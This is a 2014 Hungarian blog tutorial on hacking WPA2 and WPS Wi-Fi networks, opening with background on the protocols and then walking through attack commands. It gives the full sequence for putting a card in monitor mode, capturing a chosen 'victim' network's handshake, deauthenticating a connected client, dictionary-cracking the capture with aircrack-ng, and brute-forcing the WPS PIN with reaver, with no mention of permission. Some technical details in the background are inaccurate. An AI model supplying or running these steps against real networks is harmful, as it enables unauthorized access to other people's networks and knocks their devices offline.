2014. január 19., vasárnap

Wifi hackelés - WPA2 és WPS

Ebben a cikkben a WPA2 hackeléséről lesz szó. Kezdjük egy kis történeti, működési bevezetéssel. Mint tudjuk a WPA2 elődje a WPA amitől sok mindent örökölt. Felmerülhet a kérdés hogy miért van szükség mindig új protokollok bevezetésére? Hát azért mert amikor az egyikben hibát találnak akkor azt javítani kell, és ez a legtöbb esetben csak az egész szabvány lecserélésével valósítható meg. (Protokoll = szabvány) A WPA szabványt azért hozták létre hogy frissítsék a WEP hiányosságait. (Mint láthattuk az előző Wifi-s cikkben, nagyon könnyen törhető) (A WPA2-t meg nyilván azért hogy a WPA sebezhetőségeit orvosolják)
Nézzük csak hogy mi változott:
-A WPA és a WEP között egyik legfontosabb változtatás a TKIP(Temporal Key Integrity Protocol) bevezetése volt. Ez valósítja meg a dinamikus kulcs cserét, amely biztosítja hogy minden csomag egy egyedileg titkosított kulccsal legyen elküldve. 2008-ban viszont a hibát találtak benne, 2012-ben pedig a szabványból is kivették, ezért ezzel nem is fogunk foglalkozni. A WPA2 a WPA-val szemben egy ennél jóval erősebb(és gyorsabb) eljárással titkosítja a csomagjait, az AES-el(Advenced Encryption Standard) ami elvileg törhetetlen. (Azért írom hogy elvileg mert a mostani NSA kavarások közepette már sosem lehet tudni hogy nem e implementáltak benne valami hátsókaput...)
-Megnövelték az inicializációs vektor méretét , azért hogy ne legyen IV ismétlődés mint ahogy a WEP esetében volt. (24-ről 46 bitre)
-Növelték a minimális kulcs méretet is 40-ről 256 bitre.
-Bevezették az osztott kulcsmódot(PSK) ami lehetőve teszi hogy jelszót(jelmondatot) használjunk a szabványoknál. Ennek 8-63 darab ASCII karakterből(egy hash-függvény csökkenti le az 504bites(63*8bit/karakter)hosszúságot 256-ra) vagy 64 darab hexadecimális számból kell állnia.(összesen 256bit)
Továbbá 2006-ban megjelent még egy új (kiegészítő)szabvány a WPS(Wifi Protected Setup). Az alap koncepció az lett volna hogy az otthoni felhasználóknak nyújtsanak egy egyszerű csatlakozási lehetőséget..  Egy 8 számjegyű PIN-t használ, viszont mivel az utolsó számjegy a többinek a az ellenőrző összege(checksum-ja) így 7 ismeretlen számjegy van minden PIN-ben. (Ami 10^7-en = 10,000,000 lehetséges kombinációt jelent.) Még annyit had tegyek hozzá hogyha megadjuk a WPS kulcsunkat akkor a host elküldi nekünk az SSID-et és a biztonsági beállításokat.. Magyarul ha megvan a WPS akkor a WPA2-őt is automatikusan megkapjuk... 2011 decemberében egy német kutatónak Stefen Viehböck-nek sikerült implementálni egy olyan biztonsági rést a szabványban ami brute-force támadásokat tesz lehetőve! Ez nagyon jó nekünk mert az újabb routerek szinte mindegyikében van WPS, ami alapból engedélyezve is van. Nyilvánvaló hogy a támadás lényegesebben kevesebb időt vesz igénybe mint egy WPA2 kulcs feltörése, és a siker is úgymond biztosítva van, a WPA2-vel ellentétben ahol ha kellő erősségű a jelszó akkor nem tudjuk feltörni…. Na de ennyit a történelemről.. :) Most nézzük gyakorlatban.
Először a WPA2 támadásával fogunk foglalkozni, utána megnézzük a WPS támadását is.  

Mielőtt belevágnánk tisztázzunk néhány alapvető kifejezést:
MAC-cím(Media Acces Control Adress): Ez egy hexadecimális számsorozat, amellyel a hálózati kártyánk van ellátva.
WAP(Wireless Acess Point): Erre csatlakozunk fel, ez az acces point.
BSSID(Basic Service Set Identification): A WAP mac-címe.
ESSID(Extended Service Set Identification): Ez a vezetéknélküli hálózat neve.
Még mielőtt hozzákezdenénk győződjünk meg róla hogy van olyan hálózati kártyánk van amit támogat az aircrack-ng. Ezt itt tehetjük meg:

Ha ez megvan akkor kezdhetjük is.
1.lépés: Monitor módba kell raknunk a kártyánkat. Ez azért kell hogy minden hálózati forgalmat láthassunk.
airmon-ng start wlan0
Ha le akarjuk ellenőrizni hogy elindult e akkor azt az iwconfig paranccsal megtehetjük:
iwconfig mon0

2.lépés: Válasszuk ki az áldozatot. Ehhez az airodump-ng programocskát fogjuk használni.
airodump-ng mon0
ESSID: hackme_
BSSID: 00:27:19:C5:ED:5E
Csatorna: 6

3.lépés: Ebben a lépésben klienseket keresünk, és a köztük és a router közötti összes kommunikációt egy .cap fájlba mentjük. A WPA handshake-et(WPA kézfogás) akarjuk megszerezni.  
airodump-ng --bssid 00:27:19:C5:ED:5E -c 6 -w capfile mon0

4.lépés: Miközben fut az airodump-ng közben hogy felgyorsítsuk a WPA handshake megszerzését DeAuth kéréseket küldünk a router-nek. Ez azért kell mert ha lecsatlakozik a kliens akkor automatikusan megpróbál újracsatlakozni. Csatlakozásnál pedig használni fogja a WPA handshake-ét. :) Az aireplay-ng-t fogjuk használni a DeAuth kérések küldésére:
aireplay-ng -0 10 -e hackme_ -c 00:21:27:CE:58:6C mon0
Ha minden jól ment akkor az airodump-ng ablakunkban megjelent a WPA handshake!
Mostmár le is állíthatjuk a “felvételt”.

5.lépés: Ez az utolsó lépés. A .cap fájlunkat fogjuk megtörni az aircrack-ng segítségével. Szükségünk lesz egy jó szótárfájlra a jó eredmény elérése érdekében. Ezt vagy a netről(Link) töltjük le, vagy mi magunk készítjük. (Jelszólista készítése)  
aircrack-ng -w rockyou.txt WPAHACK-01.cap

A crackelési folyamat hosszú időt is igénybe vehet, de szerencsére nem kell a helyszínen lennünk miközben törjük...
Ha erős vasunk van erős VGA-val akkor kipróbálhatjuk az oclHashcat-et, ami a világ leggyorsabb jelszótörője… (Erről majd lesz cikk a közeljövőben)

Ha úgy érezzük hogy nem elég erős a gépünk akkor sem kell elkeserednünk. 17 dollárért egy óra alatt 604 millió jelszót képes kipróbálni a CloudCracker. (Ha többet fizetünk akkor nagyobb szótarak is a rendelkezésünkre állnak. Pl. 4.832 millárd szavas szótár $136)  

Na de ennyit a WPA2 hackelésről…
Most nézzük a WPS hackelést!
1.lépés: Állítsuk monitor módba a hálózati kártyánkat.
airmon-ng start wlan0

2.lépés: airodump-ng-vel válasszuk ki az áldozatunkat! :)
airodump-ng mon0

3.lépés: A támadást a reaver nevű progival fogjuk kivitelezni. Innen le lehet tölteni: http://code.google.com/p/reaver-wps/ Kali-n alapból van. :)
reaver -i mon0 -c 6 -b 00:27:19:C5:ED:5E -vv
A támadás hosszú időt is igénybe vehet (max. 10 óra), szóval nem érdemes ott ülni mellette. :)

Érdekes: